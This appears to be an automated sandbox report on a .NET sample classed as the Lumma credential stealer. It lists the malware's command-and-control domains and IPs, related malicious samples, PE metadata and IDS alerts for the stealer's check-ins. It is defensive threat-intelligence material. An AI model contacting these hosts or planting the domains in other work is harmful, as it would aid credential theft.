https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://medal.tv	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reinforcenh.shop/	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/K	RegAsm.exe, 00000002.00000002.1795323805.0000000001276000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reinforcenh.shop/api2	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://s.ytimg.com;	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.steampowered.com/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steam.tv/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drawzhotdog.shop/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://performenj.shop/	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://vozmeatillu.shop/Y	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sketchfab.com	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lv.queniujq.cn	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:27060	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stogeneratmns.shop/apiD	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://performenj.shop/G	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.google.com/recaptcha/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://checkout.steampowered.com/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.steampowered.com/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/account/cookiepreferences/	RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/x	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/badges	RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.77.130	reinforcenh.shop	United States	13335	CLOUDFLARENETUS	true
104.21.4.136	gutterydhowi.shop	United States	13335	CLOUDFLARENETUS	true
172.67.189.2	performenj.shop	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	fragnantbui.shop	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	offensivedzvju.shop	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.21.58.182	drawzhotdog.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519281
Start date and time:	2024-09-26 09:51:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	a7HdB2dU5P.exe renamed because original name is a hash value
Original Sample Name:	ec5818decca5d6703e23c9db8a772997.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@4/2@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 13 Number of non-executed functions: 80
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.165.165.26
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: a7HdB2dU5P.exe

Simulations

Behavior and APIs

Time	Type	Description
03:52:06	API Interceptor	5x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.77.130	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	downloaddining3.com/h9fmdW7/index.php
	am.exe	Get hash	malicious	Amadey	Browse	downloaddining3.com/h9fmdW7/index.php
	am.exe	Get hash	malicious	Amadey	Browse	downloaddining3.com/h9fmdW7/index.php
104.21.4.136	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
172.67.189.2	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	Suselx1.exe	Get hash	malicious	LummaC	Browse
	gkqg90.ps1	Get hash	malicious	LummaC	Browse
	Res.ps1	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.716.1862.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gutterydhowi.shop	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.132.32
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	172.67.132.32
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.4.136
performenj.shop	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.51.224
	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse	104.21.51.224
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	104.21.51.224
	HHXyi02DYl.exe	Get hash	malicious	Unknown	Browse	104.21.51.224
	SecuriteInfo.com.Win64.Malware-gen.15701.20735.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	104.21.51.224
	SecuriteInfo.com.Win64.Evo-gen.13360.8133.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.51.224
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.189.2
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.189.2
fragnantbui.shop	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	ACeTKO93e9.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.37.97
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	450230549.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	PO-100001499.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	104.21.64.108
CLOUDFLARENETUS	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.37.97
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	450230549.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	PO-100001499.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	104.21.64.108
CLOUDFLARENETUS	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.37.97
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	450230549.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	PO-100001499.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	104.21.64.108
CLOUDFLARENETUS	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.37.97
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	450230549.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	PO-100001499.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	104.21.64.108

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	iq2HxA0SLw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	https://tiktoksc.tv/wap	Get hash	malicious	Unknown	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	https://xtrafree.x10.mx/	Get hash	malicious	Unknown	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	PersonalizedOffer.exe	Get hash	malicious	UltraVNC	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	PersonalizedOffer.exe	Get hash	malicious	UltraVNC	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	file.exe	Get hash	malicious	LummaC	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182
	LcDQjpdIiU.exe	Get hash	malicious	LummaC	Browse	104.21.77.130 104.21.4.136 172.67.189.2 188.114.97.3 188.114.96.3 104.102.49.254 104.21.58.182

Process:	C:\Users\user\Desktop\a7HdB2dU5P.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\a7HdB2dU5P.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	33
Entropy (8bit):	2.2845972159140855
Encrypted:	false
SSDEEP:	3:i6vvRyMivvRya:iKvHivD
MD5:	45B4C82B8041BF0F9CCED0D6A18D151A
SHA1:	B4DAD3FFFEF507CBB78671EE620BB495F8CE22F1
SHA-256:	7CFA461ED1FC8611AB74878EDB1FBBDE3596F5D042946A42A7F31EB6D462E628
SHA-512:	B29C3696A8A311EFAF9B9709BA082FF2C8D45A6912D79BC1DE7FEEFBEF8F8DDEFCD6650B5E1165D0A79800C8AED399E2B11BC2431E3837DD8587516BDE50EAB5
Malicious:	false
Reputation:	low
Preview:	0..1..2..3..4..0..1..2..3..4.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9894730772519456
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	a7HdB2dU5P.exe
File size:	374'784 bytes
MD5:	ec5818decca5d6703e23c9db8a772997
SHA1:	daeca7f333cedb461891a3fa4be6a857df452b59
SHA256:	2da667c881a6b5f4b773c932bcbb6825fda5a85a38bfb51e06921cb88c353f3b
SHA512:	12205f23f622518eddde5c9ecc5168929a421ff1a0442dca23104723a5ad7edfd1e84bcbba4afe03fe20823cb0d39e4fdf7fae716b43cd1cec244bb12d60c254
SSDEEP:	6144:VX7iHuLVysIuU1dHpxx7VOEe9hTuubkP9vMV8DGtywI/ZM9M6vrNaIr6NKHQ3iFE:FZVyruU1BxcElnP9kV82Z+oRXQiFP
TLSH:	5A842364F21A8765C764947AEE86962CCDF3B93A2A5F90076CE47E098D0DD3B1347B30
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....3.f................................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x45ccee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F43305 [Wed Sep 25 15:57:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5cc94	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5e000	0x5b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5cb5c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5acf4	0x5ae00	c03cbc644eb253acf1af646f29cebfd3	False	0.9938477905777167	data	7.995621110986315	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x5e000	0x5b8	0x600	e0c57c891752f78d44441c65570fe51e	False	0.4381510416666667	data	4.119761219082767	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x60000	0xc	0x200	93175a635d4731115c9b1e1c282e8f9e	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x5e0a0	0x324	data			0.4552238805970149
RT_MANIFEST	0x5e3c8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T09:52:06.643740+0200	2056048	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop)	1	192.168.2.4	63148	1.1.1.1	53	UDP
2024-09-26T09:52:06.724512+0200	2056164	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)	1	192.168.2.4	60602	1.1.1.1	53	UDP
2024-09-26T09:52:07.234560+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.4	58440	104.21.4.136	443	TCP
2024-09-26T09:52:07.786343+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58440	104.21.4.136	443	TCP
2024-09-26T09:52:07.786343+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58440	104.21.4.136	443	TCP
2024-09-26T09:52:07.792672+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.4	52810	1.1.1.1	53	UDP
2024-09-26T09:52:08.270066+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.4	58441	188.114.97.3	443	TCP
2024-09-26T09:52:08.769507+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58441	188.114.97.3	443	TCP
